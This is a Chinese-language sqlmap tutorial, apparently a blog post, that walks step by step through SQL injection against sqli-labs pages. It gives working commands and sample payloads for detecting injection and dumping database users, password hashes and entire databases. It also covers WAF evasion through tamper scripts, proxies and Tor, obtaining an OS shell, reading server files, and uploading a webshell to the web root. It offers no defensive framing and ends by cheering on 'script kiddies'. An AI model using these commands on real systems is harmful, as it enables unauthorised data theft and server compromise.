史上最详细的sqlmap使用教程
- 1.sqlmap简介
- 2.初级扫描方案
-
- 探测是否存在sql注入漏洞
- 查看数据库信息
- 3.高级扫描方案
-
- 绕过waf
- 探测等级和危险等级(—level —risk)
- 伪造 Http Referer头部
- 执行指定的SQL语句(—sql-shell)
- 执行操作系统命令(—os-shell)
- 读取服务器文件(—file-read)
- 上传文件到数据库服务器中(—file-write —file-dest)
1.sqlmap简介
sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等
Sqlmap采用了以下5种独特的SQL注入技术
- 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入
- 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断
- 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
- 联合查询注入,在可以使用Union的情况下注入
- 堆查询注入,可以同时执行多条语句时的注入
Sqlmap的强大的功能包括 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时执行任意命令。
sqlmap是一个跨平台的工具,很好用,是SQL注入方面一个强大的工具!
2.初级扫描方案
探测是否存在sql注入漏洞
对于不用登录的网站,直接指定其URL:🎂
sqlmap -u "http://xxx/Less-1/?id=1"
直接扫到数据库类型为mysql数据库(输入y继续):
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
扫描出id部分存在boolean盲注:
GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
扫描完成后,sqlmap给出了一些验证漏洞的payload信息:
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 5728=5728 AND 'IxVn'='IxVn
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: id=1' AND GTID_SUBSET(CONCAT(0x716a6b7171,(SELECT (ELT(8185=8185,1))),0x716b7a6a71),8185) AND 'QMiy'='QMiy
Type: time-based blind
Title: MySQL >= 5.0.12 OR time-based blind (SLEEP - comment)
Payload: id=1' OR SLEEP(5)#
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-4446' UNION ALL SELECT NULL,NULL,CONCAT(0x716a6b7171,0x697148456f7242714a57456c4c6541624b4a57775163786775634c564b72556b78505a5457584d70,0x716b7a6a71)-- -
扫描结果:
[06:28:00] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.6
对于需要登录的网站,我们需要指定其cookie🙌
我们可以用账号密码登录,然后用抓包工具抓取其cookie填入
sqlmap -u "http://xxx/sqli/Less-1/?id=1" --cookie="抓取的cookie"
对于是post提交数据的URL,我们需要指定其data参数💦
sqlmap -u "http://xxx/sqli/Less-11/?id=1" --data="uname=admin&passwd=admin&submit=Submit"
我们也可以通过抓取 http 数据包保存为文件💞
这样,我们就可以不用指定其他参数,这对于需要登录的网站或者post提交数据的网站很方便。
如下,我们保存网站的访问数据包为data.txt文件:
可以看到,我的网站存在防CSRF攻击,sqlmap注入失败:
查看数据库信息
查看数据库的所有用户:
sqlmap -u "http://xxx/Less-1/?id=1" --users
查看数据库所有用户名的密码:
sqlmap -u "http://xxx/Less-1/?id=1" --passwords
查看数据库当前用户:
sqlmap -u "http://xxx/Less-1/?id=1" --current-user
扫到当前用户信息:
current user: ‘sqlilabs@localhost’
判断当前用户是否有管理权限:
sqlmap -u "http://xxx/Less-1/?id=1" --is-dba
当前用户不是root用户:
current user is DBA: False
列出数据库管理员角色:
sqlmap -u "http://xxx/sqli/Less-1/?id=1" --roles
查看所有的数据库:
sqlmap -u "http://xxx/sqli/Less-1/?id=1" --dbs
查看当前的数据库:
sqlmap -u "http://xxx/sqli/Less-1/?id=1" --current-db
得到当前的数据库信息:
[03:25:33] [INFO] fetching current database
current database: ‘security’
爆出指定数据库(security)中的所有的表:
sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security --tables
得到所有表的信息:
Database: security
[4 tables]
±---------+
| emails |
| referers |
| uagents |
| users |
±---------+
爆出指定数据库指定表中的所有的列:
sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security -T users --columns
爆出指定数据库指定表指定列下的数据:
sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security -T users -C username --dump
爆出该网站数据库中的所有数据:
sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据
sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security --dump-all #爆出数据库security中的所有数据
sqlmap -u "http://xxx/sqli/Less-1/?id=1" --dump-all #爆出该数据库中的所有数据
3.高级扫描方案
绕过waf
Sqlmap在默认情况下除了适用CHAR()函数防止出现单引号,没有对注入的数据进行修改。我们可以使用—tamper参数对数据进行修改来绕过WAF等设备,其中的大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则。Sqlmap目前官方提供53个绕过脚本。
识别网站有无waf,可以使用kali里面的工具:wafw00f
如下的网站不存在waf:
sqlmap参数绕过:
#使用参数进行绕过
--random-agent 使用任意HTTP头进行绕过,尤其是在WAF配置不当的时候
--time-sec=3 使用长的延时来避免触发WAF的机制,这方式比较耗时
--hpp 使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上
--proxy=100.100.100.100:8080 --proxy-cred=211:985 使用代理进行绕过
--ignore-proxy 禁止使用系统的代理,直接连接进行注入
--flush-session 清空会话,重构注入
--hex 或者 --no-cast 进行字符码转换
--mobile 对移动端的服务器进行注入
--tor 匿名注入
指定脚本进行绕过(—tamper):
有些时候网站会过滤掉各种字符,可以用tamper来解决(对付某些waf时也有成效)
sqlmap 官方提供了53个绕过脚本,脚本目录在/usr/share/sqlmap/tamper
中
指定单个脚本进行绕过:
sqlmap -u "http://xxx/Less-1/?id=1" --tamper=space2plus.py
指定多个脚本进行绕过:
sqlmap -u "http://xxx/Less-1/?id=1" --tamper="space2comment.py,space2plus.py"
探测等级和危险等级(—level —risk)
Sqlmap一共有5个探测等级,默认是1。等级越高,说明探测时使用的payload也越多。其中5级的payload最多,会自动破解出cookie、XFF等头部注入。当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie
在level为2时就会测试,HTTP User-Agent/Referer
头在level为3时就会测试。在不确定哪个参数为注入点时,为了保证准确性,建议设置level为5
sqlmap一共有3个危险等级,也就是说你认为这个网站存在几级的危险等级。和探测等级一个意思,在不确定的情况下,建议设置为3级
如下,设置探测等级5,平台危险等级3,都是最高级别,进行扫描:💫
sqlmap -u "http://xxx:7777/Less-1/" --level=5 --risk=3
伪造 Http Referer头部
Sqlmap可以在请求中伪造HTTP中的referer
例如,可以这样来伪造百度的referer头部:
--referer http://www.baidu.com
执行指定的SQL语句(—sql-shell)
sqlmap -u "http://xxx/sqli/Less-1/?id=1" --sql-shell
然后会提示我们输入要查询的SQL语句,注意这里的SQL语句最后不要有分号
执行sql查询:
执行操作系统命令(—os-shell)
在数据库为MySQL、PostgreSql或者SQL Server时,可以通过sqlmap执行操作系统命令
当为MySQL数据库时,需满足下面条件:
- 当前用户为 root
- 知道网站根目录的绝对路径
sqlmap -u "http://xxx:7777/Less-1/?id=1" --os-shell
接下来让我们选择网站的脚本语言:
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
往下,接下来让我们判断网站可写目录的方法:
what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs, /usr/local/var/www') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
【1】使用公共的默认目录(C:/xampp/htdocs/,C:/wamp/www,C:/Inetpub/wwwroot/)
【2】自定义网络根目录绝对路径
【3】指定自定义的路径文件
【4】暴力破解
执行os-shell的过程中,sqlmap会向网站根目录写入两个文件 tmpblwkd.php
和 tmpueqch.php
。真正的木马文件是tmpblwkd.php
。如果是非正常退出sqlmap的话,这两个文件不会被删除。只有当我们输入 x 或 q 退出 sqlmap 时,该文件才会被自动删除。
读取服务器文件(—file-read)
当数据库为MySQL、PostgreSQL或SQL Server,并且当前用户有权限时,可以读取指定文件,可以是文本文件或者二进制文件。
例如我们要读取目标服务器C盘的test.txt文件:
sqlmap -u "http://xxx/sqli/Less-4/?id=1" --file-read "c:/test.txt"
上传文件到数据库服务器中(—file-write —file-dest)
当数据库为MySQL、Postgre SQL或者Sql Server(通过powershell写入),并且当前用户有权限向任意目录写文件的时候,可以上传文件到数据库服务器。文件可以是文本,也可以是二进制文件。
所以利用上传文件,我们可以上传一句话木马或者上传shell上去。
前提是我们知道目标服务器的绝对路径
python2 sqlmap.py -u http://xxx/sqli-labs/Less-2/?id=1
--file-write C:\Users\mi\Desktop\1.php
--file-dest "C:\phpStudy\PHPTutorial\WWW\2.php"
#将本地的C:\Users\mi\Desktop\1.php文件上传到目标服务器C:\phpStudy\PHPTutorial\WWW\2.php
祝愿每一个脚本小子,从这里起航🚀